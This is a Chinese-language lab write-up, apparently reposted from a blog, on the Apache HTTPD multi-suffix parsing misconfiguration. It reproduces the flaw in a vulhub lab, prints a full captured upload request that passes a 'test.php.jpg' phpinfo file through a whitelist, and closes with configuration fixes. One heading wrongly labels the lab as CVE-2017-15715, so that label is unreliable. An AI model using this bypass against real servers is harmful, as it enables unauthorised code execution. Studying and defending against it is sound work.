文章目錄
- 漏洞名稱:Apache HTTPD 多后綴決議漏洞
- 影響版本
- 漏洞原理
- 漏洞復現
- 環境準備
- 漏洞利用
- 驗證漏洞利用是否成功
- 修復建議
漏洞名稱:Apache HTTPD 多后綴決議漏洞
簡介:
httpd是Apache超文本傳輸協議(HTTP)服務器的主程式,被設計為一個獨立運行的后臺行程,它會建立一個處理請求的子行程或執行緒的池,
Apache Httpd支持一個檔案擁有多個后綴,不同的后綴執行不同的命令,也就是說當我們上傳的檔案中只要后綴名含有php,該檔案就可以被決議成php檔案,
比如,如下組態檔:
AddType text/html .html
AddLanguage zh-CN .cn
其給.html后綴增加了media-type,值為text/html;給.cn后綴增加了語言,值為zh-CN,此時,如果用戶請求檔案index.cn.html,他將回傳一個中文的html頁面,
以上就是Apache多后綴的特性,如果運維人員給.php后綴增加了處理器:
AddHandler application/x-httpd-php .php
那么,在有多個后綴的情況下,只要一個檔案含有.php后綴的檔案即將被識別成PHP檔案,沒必要是最后一個后綴,利用這個特性,將會造成一個可以繞過上傳白名單的決議漏洞,
影響版本
結合上文簡介漏洞的原理我們得知,實際上該漏洞與Apache、php版本無關,屬于用戶配置不當造成的決議漏洞,
漏洞原理
從上文簡介我們得知,造成該漏洞的本質原始是認為配置不當造成的,
比如,如下組態檔:
AddType text/html .html
AddLanguage zh-CN .cn
其給.html后綴增加了media-type,值為text/html;給.cn后綴增加了語言,值為zh-CN,此時,如果用戶請求檔案index.cn.html,他將回傳一個中文的html頁面,
以上就是Apache多后綴的特性,如果運維人員給.php后綴增加了處理器:
AddHandler application/x-httpd-php .php
那么,在有多個后綴的情況下,只要一個檔案含有.php后綴的檔案即將被識別成PHP檔案,沒必要是最后一個后綴,利用這個特性,將會造成一個可以繞過上傳白名單的決議漏洞,
漏洞復現
環境準備
靶機環境 139.196.87.102 (vulhub)
攻擊機環境 192.168.8.131 (虛擬機 Ubuntu 20、Java1.8、Burp)
啟動 Apache HTTPD 換行決議漏洞(CVE-2017-15715) 環境
1.進入 vulhub 的 apache_parsing_vulnerability 路徑
cd /usr/local/tools/vulhub/httpd/apache_parsing_vulnerability
2.編譯并啟動環境
docker-compose up -d
3.查看環境運行狀態
docker ps | grep apache_parsing_vulnerability

漏洞利用
訪問 80 埠

上傳一個 php 后綴檔案,baocuo,


此時,利用 burp 抓包,修改上傳檔案后綴為多后綴檔案,并寫入 php 檔案內容,上傳成功,

資料包如下:
POST / HTTP/1.1
Host: 139.196.87.102
Content-Length: 221
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://139.196.87.102
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaqejJVjsIjE9PKrn
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://139.196.87.102/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: -http-session-=6::http.session::a7c40927f24b51084890c6583a8c8442
Connection: close
------WebKitFormBoundaryaqejJVjsIjE9PKrn
Content-Disposition: form-data; name="file_upload"; filename="test.php.jpg"
Content-Type: application/x-php
<?php
phpinfo();
?>
------WebKitFormBoundaryaqejJVjsIjE9PKrn--
驗證漏洞利用是否成功
驗證成功,老鐵沒毛病,

修復建議
1、使用SetHandler,寫好正則
<FileMatch ".+\.php$">
SetHandler application/x-httpd-php
</FileMatch>
2、禁止.php這樣的檔案執行
<FileMatch ".+\.ph(p[3457]?|t|tml)\.">
Require all denied
</FileMatch>
3、將上傳的檔案重命名為為時間戳+亂數+.jpg的格式并禁用上傳檔案目錄可執行權限
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/319634.html
標籤:其他
上一篇:Vulhub漏洞系列:Weblogic WLS Core Components 反序列化命令執行漏洞(CVE-2018-2628)
下一篇:SQL注入進階篇一php代碼審計
